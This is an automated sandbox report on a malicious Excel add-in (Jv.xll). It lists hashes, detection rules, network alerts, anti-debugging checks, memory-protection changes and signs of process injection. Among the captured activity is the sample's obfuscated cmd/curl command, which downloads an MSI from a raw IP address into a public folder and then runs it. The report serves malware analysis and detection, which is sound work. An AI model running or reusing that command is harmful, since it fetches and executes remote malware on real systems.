Summary | ZeroBOX

Jv.xll

Escalate priviledges Create Service Http API PE64 AntiDebug PE File DLL AntiVM
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 26, 2023, 11:33 a.m. Sept. 26, 2023, 11:35 a.m.
Size 12.0KB
Type PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 f7a95d9853bbf73d695908480fa3ace2
SHA256 6fe992f467d89d8886137b7841f5fe8e32c484f3882afb45174fdf11215395c7
CRC32 F7EAEC0B
ssdeep 192:uU5z9iLjq2pJk+/qcJklyJOEdVLsWGQwrgAh:3z9AbJH/IwJOsO/QwrgC
Yara
  • PE_Header_Zero - PE File Signature
  • IsDLL - (no description)
  • IsPE64 - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch
51.195.49.233 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49170 -> 51.195.49.233:80 2013028 ET POLICY curl User-Agent Outbound Attempted Information Leak
TCP 192.168.56.101:49170 -> 51.195.49.233:80 2034567 ET HUNTING curl User-Agent to Dotted Quad Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: Waiting for 10
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

buffer: seconds, press a key to continue ...
console_handle: 0x0000000000000007
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
xlAutoOpen+0x1c10 jv+0x3000 @ 0x7fef9ac3000
rundll32+0x2f42 @ 0xff672f42
rundll32+0x3b7a @ 0xff673b7a
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

exception.instruction_r: 30 40 ac f9 fe 07 00 00 00 00 00 00 00 00 00 00
exception.instruction: xor byte ptr [rax + 0xffffffffffffffac], al
exception.exception_code: 0xc0000005
exception.symbol: xlAutoOpen+0x1c10 jv+0x3000
exception.address: 0x7fef9ac3000
registers.r14: 0
registers.r15: 0
registers.rcx: 327992
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 2291792
registers.r11: 2290880
registers.r8: 2867332
registers.r9: 10
registers.rdx: 4284940288
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 327992
registers.r13: 0
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://51.195.49.233/dGp9oe/rAoeU0
request GET http://51.195.49.233/dGp9oe/rAoeU0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2992
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 3032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2904
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbc61000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefba7f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefeffd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000072ffd000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefbb0b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefb27c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefb24b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefcc3d000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefb22d000
process_handle: 0xffffffffffffffff
1 0 0
cmdline c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeShutdownPrivilege
1 1 0
description Create a windows service rule Create_Service
description Match Windows Http API call rule Str_Win32_Http_API
description Escalate priviledges rule Escalate_priviledges
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 51.195.49.233
Process injection Process 940 resumed a thread in remote process 2552
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x000000000000021c
suspend_count: 1
process_identifier: 2552
1 0 0